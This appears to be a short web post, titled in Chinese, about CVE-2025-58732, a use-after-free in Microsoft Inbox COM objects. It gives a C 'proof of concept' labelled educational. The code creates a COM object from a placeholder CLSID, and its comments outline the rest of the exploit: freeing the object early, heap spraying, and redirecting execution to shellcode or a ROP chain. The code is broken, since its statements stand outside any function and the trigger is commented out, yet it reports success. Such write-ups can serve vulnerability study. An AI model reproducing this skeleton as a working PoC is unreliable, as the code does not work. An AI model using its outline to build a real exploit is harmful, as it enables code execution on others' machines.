CVE-2025-58732：Microsoft Inbox COM对象释放后使用漏洞

// CVE-2025-58732 - Inbox COM Objects Use After Free // PoC Concept (Illustrative - for educational purposes only) // Note: This is a conceptual demonstration of the vulnerability pattern. #include <windows.h> #include <objbase.h> #include <stdio.h> // Step 1: CoInitialize to initialize COM library HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); if (FAILED(hr)) { printf("[-] Failed to initialize COM library. HRESULT: 0x%lx\n", hr); return 1; } // Step 2: Create an instance of the vulnerable Inbox COM object // The CLSID below is illustrative; the actual CLSID for the vulnerable // Inbox COM object should be identified through reverse engineering. CLSID clsid; hr = CLSIDFromString(L"{VULNERABLE-INBOX-COM-CLSID}", &clsid); if (FAILED(hr)) { printf("[-] Failed to resolve CLSID. HRESULT: 0x%lx\n", hr); CoUninitialize(); return 1; } // Step 3: Get a pointer to the COM object interface IUnknown* pUnknown = NULL; hr = CoCreateInstance(clsid, NULL, CLSCTX_INPROC_SERVER, IID_IUnknown, (void**)&pUnknown); if (FAILED(hr)) { printf("[-] Failed to create COM object instance. HRESULT: 0x%lx\n", hr); CoUninitialize(); return 1; } // Step 4: Trigger the Use After Free condition // Call a method that causes the internal object to be freed prematurely // while retaining a reference pointer to the freed memory region. // The specific method call depends on the vulnerable COM interface. // Example: Call a method that triggers the UAF // pUnknown->Release(); // Force release of the object // ... subsequent access to pUnknown triggers use-after-free // Step 5: After triggering UAF, allocate controlled data in the freed // memory region (heap spray/grooming) to hijack execution flow. // Step 6: When the dangling pointer is dereferenced, execution is // redirected to attacker-controlled code (shellcode/ROP chain). printf("[+] PoC execution completed.\n"); // Cleanup pUnknown->Release(); CoUninitialize(); return 0;